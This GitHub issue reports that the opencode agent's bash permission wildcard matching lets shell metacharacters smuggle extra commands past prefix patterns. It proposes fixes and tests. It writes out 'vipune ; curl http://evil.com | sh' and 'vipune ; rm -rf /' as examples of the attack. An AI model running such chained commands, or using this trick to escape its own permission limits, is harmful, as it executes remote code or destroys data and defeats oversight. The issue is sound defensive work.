Skip to content

Bug: Wildcard pattern matching allows shell metacharacter bypass in bash permissions #407

@randomm

Description

@randomm

What happened

The Wildcard.match() function in packages/opencode/src/util/wildcard.ts converts * to .* in regex. This means permission patterns like "vipune *" will match "vipune ; rm -rf /" because .* matches any character including shell metacharacters (;, &&, |, $(), backticks).

Combined with the bash tool using shell: true for command execution (packages/opencode/src/tool/bash.ts:223), this creates a command injection vulnerability for all agents that use restrictive bash patterns.

Expected behaviour

Bash permission patterns like "vipune *" should only match safe arguments — commands that start with the allowed prefix and contain no shell metacharacters.

Attack vector

// READONLY_TOOLS allows: "vipune *"
// Wildcard.match() matches: "vipune ; curl http://evil.com | sh"
// Shell executes both commands

Scope

This affects ALL agents that use bash pattern restrictions (currently composer and steering via READONLY_TOOLS). The explore agent has unrestricted bash: "allow" which is a separate concern.

Proposed solution

Two-layer defense:

  1. Wildcard.match() hardening: When a pattern ends with *, validate that the matched string does not contain shell metacharacters (;, &, |, $, backtick, newline) after the command prefix.

  2. Bash tool sanitization: Before executing any command, validate that it does not contain shell metacharacters when the permission pattern is a restrictive prefix pattern.

Acceptance Criteria

  • Wildcard.match("vipune ; rm -rf /", "vipune *") returns false
  • Wildcard.match("vipune search topic", "vipune *") returns true
  • Shell metacharacters (;, &&, ||, |, $(), backtick, newline) are rejected in prefix patterns
  • Existing non-bash wildcard patterns are not affected (e.g., file glob patterns)
  • Tests verify both safe and dangerous command patterns
  • Explore agent unrestricted bash: "allow" should be addressed as a separate follow-up

Quality Gates

  • TDD: Write tests before implementation
  • 80%+ coverage for new code
  • All existing tests still pass
  • Local verification: bun run typecheck && bun test

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions